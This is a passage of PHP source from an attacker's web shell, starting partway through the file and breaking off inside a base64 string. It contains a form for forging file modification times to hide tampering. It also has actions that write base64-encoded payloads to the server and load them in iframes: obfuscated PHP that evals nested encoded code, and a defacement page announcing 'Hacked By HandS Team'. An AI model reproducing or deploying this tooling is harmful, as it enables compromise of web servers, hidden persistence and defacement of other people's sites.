1397 $opfilemtime = @filemtime($opfile);
1398 $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
1399 formhead(array('title' => 'Clone file was last modified time'));
1400 makehide('action', 'file');
1401 makehide('dir', $nowpath);
1402 makeinput(array('title' => 'Thay Đổi Tệp Tin', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1403 makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
1404 formfooter();
1405 formhead(array('title' => 'Set last modified'));
1406 makehide('action', 'file');
1407 makehide('dir', $nowpath);
1408 makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1409 p('<p>Instead »');
1410 p('year:');
1411 makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
1412 p('month:');
1413 makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
1414 p('day:');
1415 makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
1416 p('hour:');
1417 makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
1418 p('minute:');
1419 makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
1420 p('second:');
1421 makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
1422 p('</p>');
1423 formfooter();
1424} elseif ($action == 'symroot') {
1425 $file = fopen($dir . "symroot.php", "w+");
1426 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVEZEY0ZJM2FFdGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPC9jZW50ZXI+
1427';
1428 $file = fopen("symroot.php", "w+");
1429 $write = fwrite($file, base64_decode($perltoolss));
1430 fclose($file);
1431 echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
1432} elseif ($action == 'scanshell') {
1433 $file = fopen($dir . "Scan-Shell.php", "w+");
1434 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVXc1ZG5RMlRHVjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1435';
1436 $file = fopen("Scan-Shell.php", "w+");
1437 $write = fwrite($file, base64_decode($perltoolss));
1438 fclose($file);
1439 echo "<iframe src=Scan-Shell.php width=100% height=720px frameborder=0></iframe> ";
1440} elseif ($action == 'indexhands') {
1441 $file = fopen($dir . "HandS-Team.html", "w+");
1442 $perltoolss = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS9naWYiIGhyZWY9Imh0dHA6Ly9pLmltZ3VyLmNvbS9oZHB0Ui5qcGciIC8+Cjx0aXRsZT4rWy46SGFuZFMgVGVhbSBIYWNrZWQgR3JvdXAhISE6Ll0rPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7CmZvbnQ6IkNvdXJpZXIgTmV3IiwgQ291cmllciwgbW9ub3NwYWNlOwpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2kuaW1ndXIuY29tL2RtUUxYRVkuanBnKTsKYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKfQoJI3dhcnAJewoJCW1hcmdpbi1sZWZ0OiBhdXRvOwoJCW1hcmdpbi1yaWdodDogYXV0bzsKCQl3aWR0aDo2MzBweDsKCX0KCSN0aXRsZQl7CgkJZm9udC1zaXplOjMwcHg7CgkJbWFyZ2luLWJvdHRvbToyMDBweDsKCX0KCSNzdWJoZWFkZXIJewoJCW1hcmdpbi10b3A6LTMwcHg7Cgl9CgkjbWFzYWdlCXsKCQlmb250LXNpemU6IDI0cHg7Cgl9CgloMQl7CgkJY29sb3I6Izk5OTsKCQltYXJnaW4tYm90dG9tOjFweDsKCX0KCXAJewoJCWNvbG9yOiM5OTk7Cgl9CgkjZm9vdGVyCXsKCQltYXJnaW4tdG9wOiAxNTBweDsKCQltYXJnaW4tbGVmdDogYXV0bzsKCQltYXJnaW4tcmlnaHQ6YXV0bzsKCQljb2xvcjojOTk5OwoJCWJvcmRlcjpkYXNoZWQ7CgkJd2lkdGg6NDAwcHg7Cgl9CglhLmFjdGl2YXRvcnsKCQl3aWR0aDoxNTNweDsKCQloZWlnaHQ6MTUwcHg7CgkJcG9zaXRpb246YWJzb2x1dGU7CgkJdG9wOjBweDsKCQlyaWdodDowcHg7CgkJYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL2NsaWNrbWUucG5nKSBuby1yZXBlYXQgdG9wIHJpZ2h0OwoJCXotaW5kZXg6MTsKCQljdXJzb3I6cG9pbnRlcjsKCX0KCS8qIFN0eWxlIGZvciBvdmVybGF5IGFuZCBib3ggKi8KCS5vdmVybGF5ewoJCWJhY2tncm91bmQ6dHJhbnNwYXJlbnQgdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL292ZXJsYXkucG5nKSByZXBlYXQgdG9wIGxlZnQ7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOjBweDsKCQlib3R0b206MHB4OwoJCWxlZnQ6MHB4OwoJCXJpZ2h0OjBweDsKCQl6LWluZGV4OjEwMDsKCX0KCS5ib3h7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOi0yMDBweDsKCQlsZWZ0OjMwJTsKCQlyaWdodDozMCU7CgkJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKCQljb2xvcjojN2Y3ZjdmOwoJCXBhZGRpbmc6MjBweDsKCQlib3JkZXI6MnB4IHNvbGlkICNjY2M7CgkJLW1vei1ib3JkZXItcmFkaXVzOiAyMHB4OwoJCS13ZWJraXQtYm9yZGVyLXJhZGl1czoyMHB4OwoJCS1raHRtbC1ib3JkZXItcmFkaXVzOjIwcHg7CgkJLW1vei1ib3gtc2hhZG93OiAwIDFweCA1cHggIzMzMzsKCQktd2Via2l0LWJveC1zaGFkb3c6IDAgMXB4IDVweCAjMzMzOwoJCXotaW5kZXg6MTAxOwoJfQoJLmJveCBoMXsKCQlib3JkZXItYm90dG9tOiAxcHggZGFzaGVkICM3RjdGN0Y7CgkJbWFyZ2luOi0yMHB4IC0yMHB4IDBweCAtMjBweDsKCQlwYWRkaW5nOjEwcHg7CgkJYmFja2dyb3VuZC1jb2xvcjojRkYwOwoJCWNvbG9yOiAjMDAwOwoJCS1tb3otYm9yZGVyLXJhZGl1czoyMHB4IDIwcHggMHB4IDBweDsKCQktd2Via2l0LWJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDIwcHg7CgkJLXdlYmtpdC1ib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IDIwcHg7Cgl9CglhLmJveGNsb3NlewoJCWZsb2F0OnJpZ2h0OwoJCXdpZHRoOjI2cHg7CgkJaGVpZ2h0OjI2cHg7CgkJYmFja2dyb3VuZDp0cmFuc3BhcmVudCB1cmwoaHR0cDovL2kxMTY4LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvcjQ4Ny9jaHJpc2s4ZXIvY2FuY2VsLnBuZykgcmVwZWF0IHRvcCBsZWZ0OwoJCW1hcmdpbi10b3A6LTMwcHg7CgkJbWFyZ2luLXJpZ2h0Oi0zMHB4OwoJCWN1cnNvcjpwb2ludGVyOwoJfQoJLmRyb3AgeyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAzOyAgZmlsdGVyOiBmbGlwVigpLCBmbGlwSCgpOyBmb250LXNpemU6IDQwOyBjb2xvcjogYmx1ZSB9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgovL0Rpc2FibGUgcmlnaHQgbW91c2UgY2xpY2sgU2NyaXB0CnZhciBtZXNzYWdlPSJObyBEZWFmYWNlICI7Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmZ1bmN0aW9uIGNsaWNrSUU0KCl7CmlmIChldmVudC5idXR0b249PTIpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KZnVuY3Rpb24gY2xpY2tOUzQoZSl7CmlmIChkb2N1bWVudC5sYXllcnN8fGRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsKXsKaWYgKGUud2hpY2g9PTJ8fGUud2hpY2g9PTMpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KfQppZiAoZG9jdW1lbnQubGF5ZXJzKXsKZG9jdW1lbnQuY2FwdHVyZUV2ZW50cyhFdmVudC5NT1VTRURPV04pOwpkb2N1bWVudC5vbm1vdXNlZG93bj1jbGlja05TNDsKfQplbHNlIGlmIChkb2N1bWVudC5hbGwmJiFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCl7CmRvY3VtZW50Lm9ubW91c2Vkb3duPWNsaWNrSUU0Owp9CmRvY3VtZW50Lm9uY29udGV4dG1lbnU9bmV3IEZ1bmN0aW9uKCJhbGVydChtZXNzYWdlKTtyZXR1cm4gZmFsc2UiKQo8L3NjcmlwdD4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CnZhciByZXYgPSAiZndkIjsKZnVuY3Rpb24gdGl0bGViYXIodmFsKQp7CnZhciBtc2cgPSAiISEhIEhhY2tlZCBCeSBIYW5kUyBUZWFtICI7CnZhciByZXMgPSAiICI7CnZhciBzcGVlZCA9IDEwMDsKdmFyIHBvcyA9IHZhbDsKbXNnID0gIn4+ICIrbXNnKyIgPH4iOwp2YXIgbGUgPSBtc2cubGVuZ3RoOwppZihyZXYgPT0gImZ3ZCIpewppZihwb3MgPCBsZSl7CnBvcyA9IHBvcysxOwpzY3JvbGwgPSBtc2cuc3Vic3RyKDAscG9zKTsKZG9jdW1lbnQudGl0bGUgPSBzY3JvbGw7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KZWxzZXsKcmV2ID0gImJ3ZCI7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KfQplbHNlewppZihwb3MgPiAwKXsKcG9zID0gcG9zLTE7CnZhciBhbGUgPSBsZS1wb3M7CnNjcm9sID0gbXNnLnN1YnN0cihhbGUsbGUpOwpkb2N1bWVudC50aXRsZSA9IHNjcm9sOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9CmVsc2V7CnJldiA9ICJmd2QiOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9Cn0KfQp0aXRsZWJhcigwKTsKPC9zY3JpcHQ+Cjxib2R5IG9ua2V5ZG93bj0ncmV0dXJuIGZhbHNlOyc+CiAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50Ij4KICAgICAgICAgICAgPCEtLSBUaGUgYWN0aXZhdG9yIC0tPgogICAgICAgICAgICA8YSBjbGFzcz0iYWN0aXZhdG9yIiBpZD0iYWN0aXZhdG9yIj48L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBUaGUgb3ZlcmxheSBhbmQgdGhlIGJveCAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJvdmVybGF5IiBpZD0ib3ZlcmxheSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImJveCIgaWQ9ImJveCI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJib3hjbG9zZSIgaWQ9ImJveGNsb3NlIj48L2E+CiAgICAgICAgICAgIDxoMT5DaMO6IMO9ISEhPC9oMT4gICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFhpbiBDaCYjMjI0O28gYWRtaW4sIEImIzc4NDM7byBNJiM3ODUzO3QgUXUmIzIyNTsgSyYjMjMzO20sc2l0ZSBEJiMyMzc7bmggTCYjNzg5NTtpIEZpeCBMJiM3ODk1O2kgTiYjNzg3MTt1IEImIzc4NDE7biBNdSYjNzg4OTtuIFQmIzc4OTE7biBUJiM3ODQxO2kgOikpLiAhCiAgICAgICAgICAgICAgICA8YnIvPiAgICAgICAgICAgICAgICA8YnIvPgogICAgICAgICAgICAgICAgSyYjMjUzOyBUw6puOiAhISE8YnI+CgkJCQlObyBTdXBwb3J0ICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgICAgIDwhLS0gVGhlIEphdmFTY3JpcHQgLS0+CiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL3R5bXBhbnVzLm5ldC9UdXRvcmlhbHMvQ1NTT3ZlcmxheS9qcXVlcnktMS4zLjIuanMiPjwvc2NyaXB0PiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgICAkKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnI2FjdGl2YXRvcicpLmNsaWNrKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgJCgnI292ZXJsYXknKS5mYWRlSW4oJ2Zhc3QnLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonMTYwcHgnfSw1MDApOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAkKCcjYm94Y2xvc2UnKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonLTIwMHB4J30sNTAwLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNvdmVybGF5JykuZmFkZU91dCgnZmFzdCcpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIDwvc2NyaXB0Pgo8IS0tc2hvdyB0aGUgc25vdy0tPgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KaWYgICgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpICYmIAp3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lciB8fCB3aW5kb3cuYXR0YWNoRXZlbnQpewooZnVuY3Rpb24oKXsKLy9Db25maWd1cmUgaGVyZS4KdmFyIG51bSA9IDMwOyAgIC8vTnVtYmVyIG9mIGZsYWtlcwp2YXIgdGltZXIgPSAzMDsgLy9zZXRUaW1lb3V0IHNwZWVkLiBWYXJpZXMgb24gZGlmZmVyZW50IGNvbXBzCnZhciBlbmFibGVpbk5TNiA9IDEgLy9FbmFibGUgc2NyaXB0IGluIE5TNi9Nb3ppbGxhPyBTbm93IGFuaW1hdGlvbiBjb3VsZCBiZSBzbG93IGluIHRob3NlIGJyb3dzZXJzLiAoMT15ZXMsIDA9bm8pLgovL0VuZC4KdmFyIHkgPSBbXTsKdmFyIHggPSBbXTsKdmFyIGZhbGwgPSBbXTsKdmFyIHRoZUZsYWtlcyA9IFtdOwp2YXIgc2ZzID0gW107CnZhciBzdGVwID0gW107CnZhciBjdXJyU3RlcCA9IFtdOwp2YXIgaCx3LHI7CnZhciBkID0gZG9jdW1lbnQ7CnZhciBwaXggPSAicHgiOwp2YXIgZG9tV3cgPSAodHlwZW9mIHdpbmRvdy5pbm5lcldpZHRoID09ICJudW1iZXIiKTsKdmFyIGRvbVN5ID0gKHR5cGVvZiB3aW5kb3cucGFnZVlPZmZzZXQgPT0gIm51bWJlciIpOwp2YXIgaWR4ID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnZGl2JykubGVuZ3RoOwppZiAoZC5kb2N1bWVudEVsZW1lbnQuc3R5bGUgJiYgCnR5cGVvZiBkLmRvY3VtZW50RWxlbWVudC5zdHlsZS5Nb3pPcGFjaXR5ID09ICJzdHJpbmciKQpudW0gPSAxMjsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKc2ZzW2ldID0gTWF0aC5yb3VuZCgxICsgTWF0aC5yYW5kb20oKSAqIDEpOwpkb2N1bWVudC53cml0ZSgnPGRpdiBpZD0iZmxha2UnKyhpZHgraSkrJyIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3RvcDowcHg7bGVmdDowcHg7d2lkdGg6Jworc2ZzW2ldKydweDtoZWlnaHQ6JytzZnNbaV0rJ3B4O2JhY2tncm91bmQtY29sb3I6I2ZmZmZmZjtmb250LXNpemU6JytzZnNbaV0rJ3B4Ij48L2Rpdj4nKTsKY3VyclN0ZXBbaV0gPSAwOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KaWYgKGRvbVd3KSByID0gd2luZG93OwplbHNleyAKICBpZiAoZC5kb2N1bWVudEVsZW1lbnQgJiYgCiAgdHlwZW9mIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoID09ICJudW1iZXIiICYmIAogIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoICE9IDApCiAgciA9IGQuZG9jdW1lbnRFbGVtZW50OwogZWxzZXsgCiAgaWYgKGQuYm9keSAmJiAKICB0eXBlb2YgZC5ib2R5LmNsaWVudFdpZHRoID09ICJudW1iZXIiKQogIHIgPSBkLmJvZHk7CiB9Cn0KZnVuY3Rpb24gd2luc2l6ZSgpewp2YXIgb2gsc3ksb3csc3gscmgscnc7CmlmIChkb21Xdyl7CmlmIChkLmRvY3VtZW50RWxlbWVudCAmJiBkLmRlZmF1bHRWaWV3ICYmIAp0eXBlb2YgZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZID09ICJudW1iZXIiKXsKb2ggPSBkLmRvY3VtZW50RWxlbWVudC5vZmZzZXRIZWlnaHQ7CnN5ID0gZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZOwpvdyA9IGQuZG9jdW1lbnRFbGVtZW50Lm9mZnNldFdpZHRoOwpzeCA9IGQuZGVmYXVsdFZpZXcuc2Nyb2xsTWF4WDsKcmggPSBvaC1zeTsKcncgPSBvdy1zeDsKfQplbHNlewpyaCA9IHIuaW5uZXJIZWlnaHQ7CnJ3ID0gci5pbm5lcldpZHRoOwp9CmggPSByaCAtIDI7ICAKdyA9IHJ3IC0gMjsgCn0KZWxzZXsKaCA9IHIuY2xpZW50SGVpZ2h0IC0gMjsgCncgPSByLmNsaWVudFdpZHRoIC0gMjsgCn0KfQpmdW5jdGlvbiBzY3JsKHl4KXsKdmFyIHkseDsKaWYgKGRvbVN5KXsKeSA9IHIucGFnZVlPZmZzZXQ7CnggPSByLnBhZ2VYT2Zmc2V0Owp9CmVsc2V7CnkgPSByLnNjcm9sbFRvcDsKeCA9IHIuc2Nyb2xsTGVmdDsKfQpyZXR1cm4gKHl4ID09IDApP3k6eDsKfQpmdW5jdGlvbiBzbm93KCl7CnZhciBkeSxkeDsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKZHkgPSBmYWxsW2ldOwpkeCA9IGZhbGxbaV0gKiBNYXRoLmNvcyhjdXJyU3RlcFtpXSk7CnlbaV0rPWR5Owp4W2ldKz1keDsgCmlmICh4W2ldID49IHcgfHwgeVtpXSA+PSBoKXsKeVtpXSA9IC0xMDsKeFtpXSA9IE1hdGgucm91bmQoTWF0aC5yYW5kb20oKSAqIHcpOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KdGhlRmxha2VzW2ldLnRvcCA9IHlbaV0gKyBzY3JsKDApICsgcGl4Owp0aGVGbGFrZXNbaV0ubGVmdCA9IHhbaV0gKyBzY3JsKDEpICsgcGl4OwpjdXJyU3RlcFtpXSs9c3RlcFtpXTsKfQpzZXRUaW1lb3V0KHNub3csdGltZXIpOwp9CmZ1bmN0aW9uIGluaXQoKXsKd2luc2l6ZSgpOwpmb3IgKGkgPSAwOyBpIDwgbnVtOyBpKyspewogdGhlRmxha2VzW2ldID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZsYWtlIisoaWR4K2kpKS5zdHlsZTsKIHlbaV0gPSBNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqaCk7CiB4W2ldID0gTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKncpOwp9CnNub3coKTsKfQppZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpewogd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoInJlc2l6ZSIsd2luc2l6ZSxmYWxzZSk7CiB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaW5pdCxmYWxzZSk7Cn0gIAplbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpewogd2luZG93LmF0dGFjaEV2ZW50KCJvbnJlc2l6ZSIsd2luc2l6ZSk7CiB3aW5kb3cuYXR0YWNoRXZlbnQoIm9ubG9hZCIsaW5pdCk7Cn0gCn0pKCk7Cn0vL0VkaXQgQnk6IE1hcmlvbjAwMQo8L3NjcmlwdD4KPGRpdiBpZD0id2FycCI+CjxkaXYgaWQ9InRpdGxlIj4KPGNlbnRlcj4KPGgxPi46OiBIYW5kUyBUZWFtIDo6LjwvaDE+CjxkaXYgaWQ9InN1YmhlYWRlciI+PHA+SGFuZFMgVGVhbSBIYWNrZXIgR3JvdXA8L3A+PC9kaXY+CjwvY2VudGVyPgo8Y2VudGVyPgo8ZGl2IGlkPSJjb250ZW50Ij4KPGRpdiBpZD0ibWFzYWdlIj4KPGNlbnRlcj4KPHA+U2FmZV9tb2RlOiA8Zm9udCBjb2xvcj0icmVkIj48Yj5PRkY8L2I+PC9mb250PgkKPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1zaGFkb3c6IDBweCAwcHggMHB4ICMxMTEsIDAgMCAwLjVlbSAjMzNmZjAwLCAwIDAgMC40ZW0gd2hpdGUiPjxjZW50ZXI+PGI+ISEhIEdyZXkgSGF0IEhhY2tlciBHcm91cHM8L2I+PC9jZW50ZXI+PC9mb250PjxiciAvPgo8L3A+CjwvZGl2Pgo8Y2VudGVyPjxmb250IGNvbG9yPSIjMDBGRjAwIiBzaXplPSI0cHgiPk1lbWJlciBUZWFtICEhITwvZm9udD48L2NlbnRlcj4gPDxtYXJxdWVlIGJlaGF2aW9yPSJzY3JvbGwiIGRpcmVjdGlvbj0ibGVmdCIgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSIyIiBzY3JvbGxkZWxheT0iOTAiIHdpZHRoPSI5MCUiPgo8Y2VudGVyPjxmb250IGNvbG9yPSIjQTZBNkE2IiBmYWNlPSJ2ZXJkYW5hIiBzaXplPSIyIj4KPHN0cm9uZz5DJiM0MTc7biBHacOzIC0gRHVjYWNlIFRyYW5nZWFzdCAtINW+1oXVtCDVvtaF1bQgLSBIY2UgQ3V0eU5oYW5naGVvIC0gTCYjMjI3O25nIFQmIzc5MTc7IEtpZHMgLSBOb2JsZSBIcCAtIEMmIzc4NDc7biBNJiM3ODk3O3QgQyYjMjI1O2kgVCYjMjM0O24gLSBOJiM3ODYzO2MgRGFuaCAtIEJhbmcgSHV5bmggLSBNYXJpb24wMDEgLSBWJiMzNjE7IFF1YW5nIE1pbmggLSBIdXkmIzc4NzM7biBUaG8mIzc4NDE7aSBDaCYjNDE3O2kgTiYjMjMzO3QgLSBJS2l6IC0gSGkmIzc4NzE7cCBIJiM3ODQxO20gLSBDJiMyMjQ7aSAtIFQmIzI0NDttIEgmIzI0OTttICYjMjcyOyYjNzg4NzsgLSBUaCYjMjI0O25oIFBoJiM3ODg5OyBDJiM3ODQ5O20gUGgmIzc4NDM7IC0gSEkmIzc4Nzk7cCBMJiMyMzQ7IC0gSG8mIzIyNDtuZyBUciYjMjM3OyAtIFQmIzIzNzsgTWF4IC0gUml2ZXIgV2luZCAtIE5ndXnDqm4gQXJ5IC0gS2V5eiBIYXhvciAtIEt1cm9iYSBLYWl0byAtIE5peCBBbmJ1IC0gU2NhciBQYXJhZGlzZSdzIC0gU2FpIC0gVGhlIFJ5Y2ggLSBWJiMzNjE7ICYjMjcyOyYjMjM2O25oIEtoJiMyNDQ7aSAtIEh5ZHJhIEhheG9yIC0gUXVheSBMJiM0MzI7bmcgLSBKYWNrIEZyb3N0IEthc3BlcnNreSBBbm9ucyAtIO+xnu+xniAtIE5nxrDhu51pIELDrG5oIFRoxrDhu51uZyAtIEgmIzIyNDtuaCBUaW5oIFhhbmggLSBOZ29uIE5oJiM3ODgxOyAtICYjMjcyOyYjMjI0O28gUXVhbmcgTWluaCAtIEMmIzc4NDc7biBDaGltIEMmIzc4NDM7bmggLSBCJiM3ODQxO2NoIEgmIzc4NDM7aSAmIzI3MjsmIzQzMjsmIzc5MDE7bmcgLSBBdHRhY2tlciBTbWlsZSAtIEJhbmcgSHV5bmggLSBIb2FuZyBMb25nIFZhbi4gQW5kIGFsbCBtZW1iZXIgSGFuZFMgVEVhbSEhITwvc3Ryb25nPjwvZm9udD48L2NlbnRlcj4KPC9tYXJxdWVlPgo8b2JqZWN0IHdpZHRoPSIwIiBoZWlnaHQ9IjAiPiAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0iaHR0cDovL3d3dy5uaGFjY3VhdHVpLmNvbS9tL2hTZzAyYVVXa3FMRCIgLz4gIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4gIDxwYXJhbSBuYW1lPSJ3bW9kZSIgdmFsdWU9InRyYW5zcGFyZW50IiAvPiAgPHBhcmFtIG5hbWU9ImFsbG93c2NyaXB0YWNjZXNzIiB2YWx1ZT0iYWx3YXlzIiAvPiA8cGFyYW0gbmFtZT0iYWxsb3dmdWxsc2NyZWVuIiB2YWx1ZT0idHJ1ZSIvPiA8cGFyYW0gbmFt